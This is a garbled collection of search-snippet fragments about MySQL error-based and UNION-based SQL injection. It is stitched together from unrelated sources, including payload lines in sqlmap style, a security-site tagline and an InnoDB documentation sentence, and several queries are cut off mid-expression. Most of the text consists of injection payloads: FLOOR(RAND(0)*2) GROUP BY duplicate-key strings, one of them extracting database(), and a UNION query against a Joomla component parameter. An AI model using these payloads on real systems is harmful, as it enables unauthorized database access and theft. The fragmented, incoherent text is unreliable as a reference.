The COUNT(*) and GROUP BY parts are necessary to provoke the error in MySQL: > SELECT COUNT(*),FLOOR(RAND(0)*2)x FROM information_schema.tables GROUP BY x; ERROR 1062 (23000): Duplicate entry '1' for key 'group_key'.
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a).
...COUNT(*),CONCAT(0x71717a7171,(SELECT(ELT(6440=6440,1))),0x716a7a6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- twet.
...MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR). Payload: ID=1' AND (SELECT 3371 FROM(SELECT COUNT(*),CONCAT(0x7178717071,(SELECT
FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'jjhL'='jjhL&Submit=Submit.
Type: UNION query # Title: Generic UNION query (NULL) - 7 columns # Payload: option=com_cpeventcalendar&task=load&id=1 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a707671...
Payload: id=11' AND (SELECT 1488 FROM(SELECT COUNT(*),CONCAT(0x716a6b6271
Information Security Services, News, Files, Tools, Exploits, Advisories and Whitepapers.
...(SELECT COUNT(*),CONCAT((SELECT (SELECT CONCAT(0x5e5e5e,unhex(Hex(cast(database() as char))),0x5e5e5e)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),floor(rand(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY.
InnoDB processes SELECT COUNT(*) statements by traversing the smallest available secondary index unless an index or optimizer hint directs the optimizer to use a different index.